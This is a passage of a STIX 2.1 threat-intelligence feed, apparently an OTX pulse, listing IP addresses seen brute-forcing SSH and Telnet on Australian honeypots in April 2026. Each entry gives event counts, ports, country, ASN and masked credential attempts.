      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--4112dcf2-16e0-4473-8ae6-db982d113002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T08:16:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--fe025abb-eb24-444c-bf14-4cf99dbe226c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T08:16:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.173.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:16:04.000Z",
      "valid_until": "2026-05-08T08:15:08.000Z"
    },
    {
      "created": "2026-04-06T08:16:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--e72d3532-2f69-40bb-988a-bd3ba165530a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T08:16:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.58.16.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:16:04.000Z",
      "valid_until": "2026-05-08T08:15:08.000Z"
    },
    {
      "created": "2026-04-06T09:17:45.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--e7f2cdfc-0d5f-4d97-99cc-5a78b0d094fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T09:17:45.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.74.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:17:45.000Z",
      "valid_until": "2026-05-08T09:15:08.000Z"
    },
    {
      "created": "2026-04-06T09:17:45.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n, r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--c9e47aa8-4ec1-4b31-b4d7-7968d455354d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T09:17:45.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.91.248.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:17:45.000Z",
      "valid_until": "2026-05-08T09:15:08.000Z"
    },
    {
      "created": "2026-04-06T09:17:45.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T09:17:45.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:17:45.000Z",
      "valid_until": "2026-05-08T09:15:08.000Z"
    },
    {
      "created": "2026-04-06T09:17:45.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T09:17:45.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:17:45.000Z",
      "valid_until": "2026-05-08T09:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--0fa48c2b-7b74-4d59-bfb5-64ff91d31399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.153.121.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52739. Organisation(s): PROVEDOR INTERSOUSA LTDA.",
      "id": "indicator--e088b5ef-5ddf-4fa9-9879-4463cb47438a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.85.75.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: PS. ASN(s): 51336. Organisation(s): Gemzo information technology Private Joint-Stock company.",
      "id": "indicator--a4fec766-9a2b-409e-82ae-92b39f339456",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.214.77.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--00f4e873-ec70-44a9-aac5-e7712ede28d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.110.32.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:15:10.000Z",
      "valid_until": "2026-05-08T10:15:08.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): **, r**t, s***m, 3**********4, n*****r. Passwords observed (masked): 1****3, 1**4, 3***********4, 3**********4, P******d.",
      "id": "indicator--ecbad76a-ca69-4347-b19e-5fdf8337ebde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): f*****a, l*******r, r**t, u****u. Passwords observed (masked): Z******6, f*****a, l*******r, s******6.",
      "id": "indicator--5e771090-3871-475b-9094-8c388c77cf0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.54.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t**t, 3**********4, n*****r, s***m. Passwords observed (masked): 1****3, 3***********4, 3**********4, A********#, A*********#.",
      "id": "indicator--02683f8e-5d81-415e-a6a9-3a2c22b0508b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.218.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, o**o, t**t, 3**********4, ***. Passwords observed (masked): 3***********4, 3**********4, A*********#, **, Q**********3.",
      "id": "indicator--3377da50-f7f3-44af-a3e6-5e5b3175dae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.24.100.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--953f6b0b-22ba-4260-b404-bb510dc87679",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.134.80.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd. Usernames observed (masked): G******************************************************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5c01f64e-40f9-4526-883a-3727eeb1516a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.225.62.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--27da9d77-eeb0-4fe9-a5ba-5d21f7191952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.24.100.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:15:05.000Z",
      "valid_until": "2026-05-08T11:15:03.000Z"
    },
    {
      "created": "2026-04-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--340da2fd-9559-451b-b904-c1c5e33bcc0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.124.96.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T12:15:10.000Z",
      "valid_until": "2026-05-08T12:15:08.000Z"
    },
    {
      "created": "2026-04-06T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u**t. Passwords observed (masked): , p******d, u**t.",
      "id": "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.141.84.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T12:15:10.000Z",
      "valid_until": "2026-05-08T12:15:08.000Z"
    },
    {
      "created": "2026-04-06T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--540a0a0b-6a0a-4a90-b169-a50748f0dd8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.215.143.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T12:15:10.000Z",
      "valid_until": "2026-05-08T12:15:08.000Z"
    },
    {
      "created": "2026-04-06T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d8d2a0ba-612d-4ced-9830-7da326827f91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.148.210.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:15:11.000Z",
      "valid_until": "2026-05-08T13:15:08.000Z"
    },
    {
      "created": "2026-04-06T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 203380. Organisation(s): DA International Group Ltd..",
      "id": "indicator--8f69ab95-2b3f-4992-8380-14b471c1bdec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.126.78.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:15:11.000Z",
      "valid_until": "2026-05-08T13:15:08.000Z"
    },
    {
      "created": "2026-04-06T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--b3a5ba23-351c-4f74-91cb-2fee8801488b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.14.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:15:11.000Z",
      "valid_until": "2026-05-08T13:15:08.000Z"
    },
    {
      "created": "2026-04-06T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--206effa5-8a64-47b7-aad0-2c430a4c5ece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.169.85.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:15:11.000Z",
      "valid_until": "2026-05-08T13:15:08.000Z"
    },
    {
      "created": "2026-04-06T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--2c4f9c7e-fc23-43c8-9107-dea6f12d4b44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.56.176.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:15:11.000Z",
      "valid_until": "2026-05-08T13:15:08.000Z"
    },
    {
      "created": "2026-04-06T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 142504. Organisation(s): SVN GIGAFIBER PRIVATE LIMITED.",
      "id": "indicator--0b555ad0-ecad-4bff-8bd9-cc671b33d719",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.170.40.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T14:15:05.000Z",
      "valid_until": "2026-05-08T14:15:03.000Z"
    },
    {
      "created": "2026-04-06T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--be06c8de-caff-4f90-81a0-10f7dda6a31a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.118.33.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T14:15:05.000Z",
      "valid_until": "2026-05-08T14:15:03.000Z"
    },
    {
      "created": "2026-04-06T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *, **, 1**4, 1*****7, u****u.",
      "id": "indicator--06975cfe-befe-4131-bb4b-9ee77e5a14e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.174.223.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T14:15:05.000Z",
      "valid_until": "2026-05-08T14:15:03.000Z"
    },
    {
